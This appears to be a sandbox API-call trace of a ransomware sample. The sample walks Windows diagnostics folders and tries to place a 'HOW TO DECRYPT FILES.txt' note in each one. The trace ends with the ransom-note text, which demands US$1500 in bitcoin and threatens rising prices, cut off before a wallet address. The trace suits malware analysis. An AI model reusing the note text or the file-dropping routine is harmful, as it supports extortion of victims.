[0125.595] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.595] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.595] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.595] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.595] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.596] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.596] CloseHandle (hObject=0xffffffff) returned 0 [0125.596] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="PowerDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\PowerDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\PowerDiagnostic.xml" [0125.596] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9bad4c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe9bad4c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdaee1e71, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xbec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrinterDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.596] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.596] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PrinterDiagnostic.xml") returned -1 [0125.596] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PrinterDiagnostic.xml") returned -1 [0125.596] lstrcmpiA (lpString1="", lpString2="PrinterDiagnostic.xml") returned -1 [0125.597] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\PowerDiagnostic.xml") returned="PowerDiagnostic.xml" [0125.597] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.597] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.597] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.597] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.597] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.597] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.597] CloseHandle (hObject=0xffffffff) returned 0 [0125.597] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="PrinterDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\PrinterDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\PrinterDiagnostic.xml" [0125.598] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12399f9d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x12399f9d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd759251, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x730, dwReserved0=0x0, dwReserved1=0x0, cFileName="SearchDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.598] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.598] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SearchDiagnostic.xml") returned -1 [0125.598] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SearchDiagnostic.xml") returned -1 [0125.599] lstrcmpiA (lpString1="", lpString2="SearchDiagnostic.xml") returned -1 [0125.599] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\PrinterDiagnostic.xml") returned="PrinterDiagnostic.xml" [0125.599] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.599] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.599] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.599] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.599] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.599] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.600] CloseHandle (hObject=0xffffffff) returned 0 [0125.600] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="SearchDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\SearchDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\SearchDiagnostic.xml" [0125.600] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1c811, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfe1c811, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde97f91d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x52b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMediaPlayerConfiguration.xml", cAlternateFileName="")) returned 1 [0125.600] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.600] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsMediaPlayerConfiguration.xml") returned -1 [0125.600] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsMediaPlayerConfiguration.xml") returned -1 [0125.600] lstrcmpiA (lpString1="", lpString2="WindowsMediaPlayerConfiguration.xml") returned -1 [0125.600] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\SearchDiagnostic.xml") returned="SearchDiagnostic.xml" [0125.600] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.600] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.600] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.600] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.601] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.601] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.601] CloseHandle (hObject=0xffffffff) returned 0 [0125.601] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="WindowsMediaPlayerConfiguration.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\WindowsMediaPlayerConfiguration.xml") returned="C:\\Windows\\diagnostics\\index\\WindowsMediaPlayerConfiguration.xml" [0125.602] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10057c84, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10057c84, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0af8cbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x51e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMediaPlayerMediaLibrary.xml", cAlternateFileName="")) returned 1 [0125.602] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.602] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsMediaPlayerMediaLibrary.xml") returned -1 [0125.602] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsMediaPlayerMediaLibrary.xml") returned -1 [0125.602] lstrcmpiA (lpString1="", lpString2="WindowsMediaPlayerMediaLibrary.xml") returned -1 [0125.602] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\WindowsMediaPlayerConfiguration.xml") returned="WindowsMediaPlayerConfiguration.xml" [0125.602] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.602] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.602] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.602] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.602] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.603] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.603] CloseHandle (hObject=0xffffffff) returned 0 [0125.603] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="WindowsMediaPlayerMediaLibrary.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\WindowsMediaPlayerMediaLibrary.xml") returned="C:\\Windows\\diagnostics\\index\\WindowsMediaPlayerMediaLibrary.xml" [0125.603] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104ce56a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x104ce56a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0fe19d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x689, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMediaPlayerPlayDVD.xml", cAlternateFileName="")) returned 1 [0125.603] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.603] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsMediaPlayerPlayDVD.xml") returned -1 [0125.603] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsMediaPlayerPlayDVD.xml") returned -1 [0125.603] lstrcmpiA (lpString1="", lpString2="WindowsMediaPlayerPlayDVD.xml") returned -1 [0125.603] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\WindowsMediaPlayerMediaLibrary.xml") returned="WindowsMediaPlayerMediaLibrary.xml" [0125.603] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.603] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.603] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.604] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.604] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.604] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.604] CloseHandle (hObject=0xffffffff) returned 0 [0125.604] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="WindowsMediaPlayerPlayDVD.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\WindowsMediaPlayerPlayDVD.xml") returned="C:\\Windows\\diagnostics\\index\\WindowsMediaPlayerPlayDVD.xml" [0125.605] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x121aade4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x121aade4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe14a4599, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdateDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.605] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.605] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsUpdateDiagnostic.xml") returned -1 [0125.605] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsUpdateDiagnostic.xml") returned -1 [0125.605] lstrcmpiA (lpString1="", lpString2="WindowsUpdateDiagnostic.xml") returned -1 [0125.605] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\WindowsMediaPlayerPlayDVD.xml") returned="WindowsMediaPlayerPlayDVD.xml" [0125.605] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.605] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.605] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.605] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.605] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.606] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.606] CloseHandle (hObject=0xffffffff) returned 0 [0125.606] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="WindowsUpdateDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\WindowsUpdateDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\WindowsUpdateDiagnostic.xml" [0125.606] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x121aade4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x121aade4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe14a4599, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdateDiagnostic.xml", cAlternateFileName="")) returned 0 [0125.606] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0125.608] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="scheduled", cAlternateFileName="SCHEDU~1")) returned 1 [0125.608] lstrcmpA (lpString1=".", lpString2="scheduled") returned -1 [0125.608] lstrcmpA (lpString1="..", lpString2="scheduled") returned -1 [0125.608] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\*.*") returned="*.*" [0125.608] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\", lpString2="scheduled" | out: lpString1="C:\\Windows\\diagnostics\\scheduled") returned="C:\\Windows\\diagnostics\\scheduled" [0125.608] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\scheduled\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0125.609] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.609] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.609] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.609] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.609] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0125.609] lstrcmpA (lpString1=".", lpString2="Maintenance") returned -1 [0125.609] lstrcmpA (lpString1="..", lpString2="Maintenance") returned -1 [0125.609] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\*.*") returned="*.*" [0125.609] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\", lpString2="Maintenance" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance" [0125.609] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0125.613] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.613] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.613] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.613] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.613] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd73138d5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xd73138d5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xd73138d5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x362c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_Utility.ps1", cAlternateFileName="")) returned 1 [0125.613] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.614] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_Utility.ps1") returned 1 [0125.614] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_Utility.ps1") returned 1 [0125.614] lstrcmpiA (lpString1="", lpString2="CL_Utility.ps1") returned -1 [0125.614] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\*.*") returned="*.*" [0125.614] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.614] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.614] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.614] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.614] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.614] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 